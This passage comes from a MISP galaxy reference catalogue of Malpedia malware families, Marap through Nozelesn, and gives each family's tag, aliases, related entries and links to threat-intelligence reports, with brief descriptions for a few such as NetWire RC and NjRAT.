Table 1221. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Marap

Marap is a downloader, named after its command and control (C&C) phone home parameter "param" spelled backwards. It is written in C and contains a few notable anti-analysis features.

The tag is: *misp-galaxy:malpedia="Marap"*

Marap is also known as:

Table 1222. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.marap
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap

Matrix Banker

The tag is: *misp-galaxy:malpedia="Matrix Banker"*

Matrix Banker is also known as:

Matrix Banker has relationships with:

- similar: misp-galaxy:banker="Matrix Banker" with estimative-language:likelihood-probability="likely"

Table 1223. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/

Matrix Ransom

The tag is: *misp-galaxy:malpedia="Matrix Ransom"*

Matrix Ransom is also known as:

Table 1224. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_ransom

Matryoshka RAT

The tag is: *misp-galaxy:malpedia="Matryoshka RAT"*

Matryoshka RAT is also known as:

Table 1225. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat
http://www.clearskysec.com/tulip/

Matsnu

The tag is: *misp-galaxy:malpedia="Matsnu"*

Matsnu is also known as:

Table 1226. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matsnu
https://blog.checkpoint.com/wp-content/uploads/2015/07/matsnu-malwareid-technical-brief.pdf

MBRlock

```
This ransomware modifies the master boot record of the victim's computer so that it
shows a ransom note before Windows starts.
```

The tag is: *misp-galaxy:malpedia="MBRlock"*

MBRlock is also known as:

- DexLocker

Table 1227. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock
https://www.bleepingcomputer.com/news/security/dexcrypt-mbrlocker-demands-30-yuan-to-gain-access-to-computer/
https://www.hybrid-analysis.com/sample/dfc56a704b5e031f3b0d2d0ea1d06f9157758ad950483b44ac4b77d33293cb38?environmentId=100
https://app.any.run/tasks/0a7e643f-7562-4575-b8a5-747bd6b5f02d
http://id-ransomware.blogspot.com.tr/2018/02/mbrlock-hax-ransomware.html

Mebromi

The tag is: *misp-galaxy:malpedia="Mebromi"*

Mebromi is also known as:

- MyBios

Table 1228. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi
http://contagiodump.blogspot.com/2011/09/mebromi-bios-rootkit-affecting-award.html
https://www.symantec.com/connect/blogs/bios-threat-showing-again
http://www.theregister.co.uk/2011/09/14/bios_rootkit_discovered/
https://www.webroot.com//blog/2011/09/13/mebromi-the-first-bios-rootkit-in-the-wild/

Medre

The tag is: *misp-galaxy:malpedia="Medre"*

Medre is also known as:

Table 1229. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.medre
http://contagiodump.blogspot.com/2012/06/medrea-autocad-worm-samples.html

win.medusa

Medusa is a DDoS bot written in .NET 2.0. In its current incarnation its C&C protocol is based on HTTP, while its predecessor made use of IRC.

The tag is: *misp-galaxy:malpedia="win.medusa"*

win.medusa is also known as:

Table 1230. Table References

Links
https://webcache.googleusercontent.com/search?q=cache:ZbKznF-dogcJ:https://www.toolbase.me/board/topic/10061-b-medusa-irc-ddos-botnet-bypass-cf-cookie-protections/
https://malpedia.caad.fkie.fraunhofer.de/details/win.medusa
https://news.drweb.com/show/?i=10302&lng=en
https://www.arbornetworks.com/blog/asert/medusahttp-ddos-slithers-back-spotlight/

https://zerophagemalware.com/2017/10/13/rig-ek-via-malvertising-drops-a-miner/

Mewsei

The tag is: *misp-galaxy:malpedia="Mewsei"*

Mewsei is also known as:

Table 1231. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mewsei

Miancha

The tag is: *misp-galaxy:malpedia="Miancha"*

Miancha is also known as:

Table 1232. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha
https://www.contextis.com//documents/30/TA10009_20140127_-*CTI_Threat_Advisory-The_Monju_Incident1.pdf[https://www.contextis.com//documents/30/TA10009_20140127*-*CTI_Threat_Advisory*-_The_Monju_Incident1.pdf]

Micrass

The tag is: *misp-galaxy:malpedia="Micrass"*

Micrass is also known as:

Table 1233. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.micrass
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/

Microcin

The tag is: *misp-galaxy:malpedia="Microcin"*

Microcin is also known as:

Table 1234. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/
https://cdn.securelist.com/files/2017/09/Microcin_Technical_4PDF_eng_final_s.pdf

Micropsia

The tag is: *misp-galaxy:malpedia="Micropsia"*

Micropsia is also known as:

Table 1235. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.micropsia
http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/
http://blog.talosintelligence.com/2017/06/palestine-delphi.html
https://research.checkpoint.com/apt-attack-middle-east-big-bang/

Mikoponi

The tag is: *misp-galaxy:malpedia="Mikoponi"*

Mikoponi is also known as:

Table 1236. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi

MILKMAID

The tag is: *misp-galaxy:malpedia="MILKMAID"*

MILKMAID is also known as:

Table 1237. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

MimiKatz

The tag is: *misp-galaxy:malpedia="MimiKatz"*

MimiKatz is also known as:

Table 1238. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz
https://github.com/gentilkiwi/mimikatz
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/
http://blog.gentilkiwi.com/securite/un-observateur-evenements-aveugle

MiniASP

The tag is: *misp-galaxy:malpedia="MiniASP"*

MiniASP is also known as:

Table 1239. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Mirage

The tag is: *misp-galaxy:malpedia="Mirage"*

Mirage is also known as:

Table 1240. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

MirageFox

The tag is: *misp-galaxy:malpedia="MirageFox"*

MirageFox is also known as:

Table 1241. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miragefox
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

Mirai

The tag is: *misp-galaxy:malpedia="Mirai"*

Mirai is also known as:

Mirai has relationships with:

- similar: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"

Table 1242. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai
https://twitter.com/PhysicalDrive0/status/830070569202749440
https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/
https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html

Misdat

The tag is: *misp-galaxy:malpedia="Misdat"*

Misdat is also known as:

Misdat has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Misdat - S0083" with estimative-language:likelihood-probability="likely"

Table 1243. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.misdat
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf

Misfox

The tag is: *misp-galaxy:malpedia="Misfox"*

Misfox is also known as:

- MixFox
- ModPack

Table 1244. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.misfox

Miuref

The tag is: *misp-galaxy:malpedia="Miuref"*

Miuref is also known as:

Table 1245. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miuref

MM Core

The tag is: *misp-galaxy:malpedia="MM Core"*

MM Core is also known as:

MM Core has relationships with:

- similar: misp-galaxy:tool="MM Core" with estimative-language:likelihood-probability="likely"

Table 1246. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose

MobiRAT

The tag is: *misp-galaxy:malpedia="MobiRAT"*

MobiRAT is also known as:

Table 1247. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mobi_rat
https://blog.malwarebytes.com/threat-analysis/2017/07/malware-abusing-ffmpeg/

Mocton

The tag is: *misp-galaxy:malpedia="Mocton"*

Mocton is also known as:

Table 1248. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mocton

ModPOS

The tag is: *misp-galaxy:malpedia="ModPOS"*

ModPOS is also known as:

- straxbot

Table 1249. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.modpos
https://www.fireeye.com/blog/threat-research/2015/11/modpos.html
https://twitter.com/physicaldrive0/status/670258429202530306

Moker

The tag is: *misp-galaxy:malpedia="Moker"*

Moker is also known as:

Table 1250. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moker
https://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/
https://breakingmalware.com/malware/moker-part-2-capabilities/
http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network
https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/

Mokes

The tag is: *misp-galaxy:malpedia="Mokes"*

Mokes is also known as:

Table 1251. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes
https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/

Mole

The tag is: *misp-galaxy:malpedia="Mole"*

Mole is also known as:

Table 1252. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mole
https://www.proofpoint.com/us/threat-insight/post/adgholas-malvertising-campaign-using-astrum-ek-deliver-mole-ransomware
https://www.cert.pl/en/news/single/mole-ransomware-analysis-and-decryptor/

Molerat Loader

The tag is: *misp-galaxy:malpedia="Molerat Loader"*

Molerat Loader is also known as:

Table 1253. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader
http://www.clearskysec.com/iec/
https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/26000/PD26760/en_US/McAfee_Labs_Threat_Advisory_GazaCybergang.pdf

Monero Miner

The tag is: *misp-galaxy:malpedia="Monero Miner"*

Monero Miner is also known as:

- CoinMiner

Monero Miner has relationships with:

- similar: misp-galaxy:tool="CoinMiner" with estimative-language:likelihood-probability="likely"

Table 1254. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner
https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/

MoonWind

The tag is: *misp-galaxy:malpedia="MoonWind"*

MoonWind is also known as:

MoonWind has relationships with:

- similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="MoonWind - S0149" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"

Table 1255. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwind
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

Morphine

The tag is: *misp-galaxy:malpedia="Morphine"*

Morphine is also known as:

Table 1256. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.morphine

Morto

The tag is: *misp-galaxy:malpedia="Morto"*

Morto is also known as:

Table 1257. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.morto
http://contagiodump.blogspot.com/2011/08/aug-28-morto-tsclient-rdp-worm-with.html
https://www.f-secure.com/weblog/archives/00002227.html
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Morto.A

Mosquito

The tag is: *misp-galaxy:malpedia="Mosquito"*

Mosquito is also known as:

Table 1258. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf
https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/

Moure

The tag is: *misp-galaxy:malpedia="Moure"*

Moure is also known as:

Table 1259. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moure

mozart

The tag is: *misp-galaxy:malpedia="mozart"*

mozart is also known as:

Table 1260. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart
https://securitykitten.github.io/2015/01/11/the-mozart-ram-scraper.html

MPK

The tag is: *misp-galaxy:malpedia="MPK"*

MPK is also known as:

Table 1261. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mpk
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/

https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf

MPKBot

The tag is: *misp-galaxy:malpedia="MPKBot"*

MPKBot is also known as:

Table 1262. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf

Multigrain POS

The tag is: *misp-galaxy:malpedia="Multigrain POS"*

Multigrain POS is also known as:

Table 1263. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos
https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html
https://www.pandasecurity.com/mediacenter/malware/multigrain-malware-pos/

murkytop

The tag is: *misp-galaxy:malpedia="murkytop"*

murkytop is also known as:

Table 1264. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Murofet

The tag is: *misp-galaxy:malpedia="Murofet"*

Murofet is also known as:

Murofet has relationships with:

- similar: misp-galaxy:banker="Licat" with estimative-language:likelihood-probability="likely"

Table 1265. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet

Mutabaha

The tag is: *misp-galaxy:malpedia="Mutabaha"*

Mutabaha is also known as:

Table 1266. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha
http://vms.drweb.ru/virus/?_is=1&i=8477920

MyKings Spreader

The tag is: *misp-galaxy:malpedia="MyKings Spreader"*

MyKings Spreader is also known as:

Table 1267. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators
http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/

MyloBot

The tag is: *misp-galaxy:malpedia="MyloBot"*

MyloBot is also known as:

Table 1268. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot
https://www.deepinstinct.com/2018/06/20/meet-mylobot-a-new-highly-sophisticated-never-seen-before-botnet-thats-out-in-the-wild/

N40

The tag is: *misp-galaxy:malpedia="N40"*

N40 is also known as:

Table 1269. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.n40
https://www.slideshare.net/elevenpaths/n40-the-botnet-created-in-brazil-which-evolves-to-attack-the-chilean-banking-sector

Nabucur

The tag is: *misp-galaxy:malpedia="Nabucur"*

Nabucur is also known as:

Table 1270. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nabucur

Nagini

The tag is: *misp-galaxy:malpedia="Nagini"*

Nagini is also known as:

Table 1271. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini
http://bestsecuritysearch.com/voldemortnagini-ransomware-virus/

Naikon

The tag is: *misp-galaxy:malpedia="Naikon"*

Naikon is also known as:

Table 1272. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/

Nanocore RAT

The tag is: *misp-galaxy:malpedia="Nanocore RAT"*

Nanocore RAT is also known as:

Table 1273. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nanocore
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.bleepingcomputer.com/news/security/nanocore-rat-author-gets-33-months-in-prison/
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

NanoLocker

The tag is: *misp-galaxy:malpedia="NanoLocker"*

NanoLocker is also known as:

NanoLocker has relationships with:

- similar: misp-galaxy:ransomware="NanoLocker" with estimative-language:likelihood-probability="likely"

Table 1274. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nano_locker

Narilam

The tag is: *misp-galaxy:malpedia="Narilam"*

Narilam is also known as:

Table 1275. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam
http://contagiodump.blogspot.com/2012/12/nov-2012-w32narilam-sample.html
https://www.symantec.com/connect/blogs/w32narilam-business-database-sabotage

Nautilus

The tag is: *misp-galaxy:malpedia="Nautilus"*

Nautilus is also known as:

Nautilus has relationships with:

- similar: misp-galaxy:tool="Nautilus" with estimative-language:likelihood-probability="likely"

Table 1276. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus
https://www.ncsc.gov.uk/alerts/turla-group-malware

NavRAT

The tag is: *misp-galaxy:malpedia="NavRAT"*

NavRAT is also known as:

NavRAT has relationships with:

- similar: misp-galaxy:rat="NavRAT" with estimative-language:likelihood-probability="likely"

Table 1277. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat
https://blog.talosintelligence.com/2018/05/navrat.html?m=1

Necurs

The tag is: *misp-galaxy:malpedia="Necurs"*

Necurs is also known as:

- nucurs

Necurs has relationships with:

- similar: misp-galaxy:tool="Necurs" with estimative-language:likelihood-probability="likely"

Table 1278. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs
https://blog.avast.com/botception-with-necurs-botnet-distributes-script-with-bot-capabilities-avast-threat-labs
https://www.bitsighttech.com/blog/necurs-proxy-module-with-ddos-features
http://blog.talosintelligence.com/2017/03/necurs-diversifies.html
https://www.blueliv.com/wp-content/uploads/2018/07/Blueliv-Necurs-report-2017.pdf

https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Necurs-Recurs/
https://blog.trendmicro.com/trendlabs-security-intelligence/the-new-face-of-necurs-noteworthy-changes-to-necurs-behaviors
https://www.cert.pl/en/news/single/necurs-hybrid-spam-botnet/
https://cofense.com/necurs-targeting-banks-pub-file-drops-flawedammyy/

Nemim

The tag is: *misp-galaxy:malpedia="Nemim"*

Nemim is also known as:

- Nemain

Table 1279. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim
https://securelist.com/files/2014/11/darkhotelappendixindicators_kl.pdf

NetC

The tag is: *misp-galaxy:malpedia="NetC"*

NetC is also known as:

NetC has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Net Crawler - S0056" with estimative-language:likelihood-probability="likely"

Table 1280. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netc
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

NETEAGLE

The tag is: *misp-galaxy:malpedia="NETEAGLE"*

NETEAGLE is also known as:

- ScoutEagle

NETEAGLE has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="NETEAGLE - S0034" with estimative-language:likelihood-probability="likely"

Table 1281. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Netrepser

The tag is: *misp-galaxy:malpedia="Netrepser"*

Netrepser is also known as:

Table 1282. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger
https://labs.bitdefender.com/2017/05/inside-netrepser-a-javascript-based-targeted-attack/

NetSupportManager RAT

The tag is: *misp-galaxy:malpedia="NetSupportManager RAT"*

NetSupportManager RAT is also known as:

Table 1283. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat
http://www.netsupportmanager.com/index.asp
https://researchcenter.paloaltonetworks.com/2017/09/unit42-hoeflertext-popups-targeting-google-chrome-users-now-pushing-rat-malware/
https://www.bleepingcomputer.com/news/security/hacked-steam-accounts-spreading-remote-access-trojan/

NetTraveler

The tag is: *misp-galaxy:malpedia="NetTraveler"*

NetTraveler is also known as:

- TravNet

NetTraveler has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="NetTraveler - S0033" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="NetTraveler" with estimative-language:likelihood-probability="likely"

Table 1284. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler
https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests
https://cdn.securelist.com/files/2014/07/kaspersky-the-net-traveler-part1-final.pdf

NetWire RC

Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well.

Keylog files are stored on the infected machine in an obfuscated form. The algorithm is:

```
for i in range(0,num_read):
    buffer[i] = ((buffer[i]-0x24)^0x9D)&0xFF
```

The tag is: *misp-galaxy:malpedia="NetWire RC"*

NetWire RC is also known as:

- Recam

Table 1285. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire
https://www.circl.lu/pub/tr-23/
http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/
https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html

Neuron

The tag is: *misp-galaxy:malpedia="Neuron"*

Neuron is also known as:

Neuron has relationships with:

- similar: misp-galaxy:tool="Neuron" with estimative-language:likelihood-probability="likely"

Table 1286. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron
https://www.ncsc.gov.uk/alerts/turla-group-malware

Neutrino

The tag is: *misp-galaxy:malpedia="Neutrino"*

Neutrino is also known as:

- Kasidet

Neutrino has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Kasidet - S0088" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:exploit-kit="Neutrino" with estimative-language:likelihood-probability="likely"

Table 1287. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino
http://securitykitten.github.io/an-evening-with-n3utrino/
http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html
https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/
https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet
https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/
http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/
https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex
https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/
https://securityblog.switch.ch/2017/07/07/94-ch-li-domain-names-hijacked-and-used-for-drive-by/

Neutrino POS

The tag is: *misp-galaxy:malpedia="Neutrino POS"*

Neutrino POS is also known as:

- Jimmy

Neutrino POS has relationships with:

- similar: misp-galaxy:malpedia="Jimmy" with estimative-language:likelihood-probability="likely"

Table 1288. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos
https://securelist.com/neutrino-modification-for-pos-terminals/78839/
https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/

NewCore RAT

The tag is: *misp-galaxy:malpedia="NewCore RAT"*

NewCore RAT is also known as:

Table 1289. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat
https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations

NewPosThings

The tag is: *misp-galaxy:malpedia="NewPosThings"*

NewPosThings is also known as:

Table 1290. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings
https://asert.arbornetworks.com/lets-talk-about-newposthings/
https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html
https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/
http://www.cyintanalysis.com/a-quick-look-at-a-likely-newposthings-sample/

NewsReels

The tag is: *misp-galaxy:malpedia="NewsReels"*

NewsReels is also known as:

Table 1291. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

NewCT

The tag is: *misp-galaxy:malpedia="NewCT"*

NewCT is also known as:

- CT

NewCT has relationships with:

- similar: misp-galaxy:tool="NewCT" with estimative-language:likelihood-probability="likely"

Table 1292. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

Nexster Bot

The tag is: *misp-galaxy:malpedia="Nexster Bot"*

Nexster Bot is also known as:

Table 1293. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot
https://twitter.com/benkow_/status/789006720668405760

NexusLogger

The tag is: *misp-galaxy:malpedia="NexusLogger"*

NexusLogger is also known as:

Table 1294. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nexus_logger
https://twitter.com/PhysicalDrive0/status/842853292124360706

http://researchcenter.paloaltonetworks.com/2017/03/unit42-nexuslogger-new-cloud-based-keylogger-enters-market/

Ngioweb

The tag is: *misp-galaxy:malpedia="Ngioweb"*

Ngioweb is also known as:

Table 1295. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb
https://research.checkpoint.com/ramnits-network-proxy-servers/

nitlove

The tag is: *misp-galaxy:malpedia="nitlove"*

nitlove is also known as:

Table 1296. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove
https://www.fireeye.com/blog/threat-research/2015/05/nitlovepos_another.html

Nitol

The tag is: *misp-galaxy:malpedia="Nitol"*

Nitol is also known as:

Table 1297. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol
https://www.trustwave.com/Resources/SpiderLabs-Blog/Tale-of-the-Two-Payloads-%E2%80%93-TrickBot-and-Nitol/

NjRAT

RedPacket Security describes NJRat as "a remote access trojan (RAT) has capabilities to log keystrokes, access the victim’s camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim’s desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives."

It is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.

The tag is: *misp-galaxy:malpedia="NjRAT"*

NjRAT is also known as:

- Bladabindi

NjRAT has relationships with:

- similar: misp-galaxy:tool="njRAT" with estimative-language:likelihood-probability="likely"

Table 1298. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services
http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf
http://csecybsec.com/download/zlab/20171221_CSE_Bladabindi_Report.pdf
http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

Nocturnal Stealer

The tag is: *misp-galaxy:malpedia="Nocturnal Stealer"*

Nocturnal Stealer is also known as:

Nocturnal Stealer has relationships with:

- similar: misp-galaxy:stealer="Nocturnal Stealer" with estimative-language:likelihood-probability="likely"

Table 1299. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer
https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap

Nokki

Nokki is a RAT type malware which is believe to evolve from Konni RAT. This malware has been tied to attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. Researchers discovered a tie to the threat actor group known as Reaper also known as APT37.

The tag is: *misp-galaxy:malpedia="Nokki"*

Nokki is also known as:

Table 1300. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

Nozelesn (Decryptor)

The tag is: *misp-galaxy:malpedia="Nozelesn (Decryptor)"*

Nozelesn (Decryptor) is also known as:

Table 1301. Table References

Links
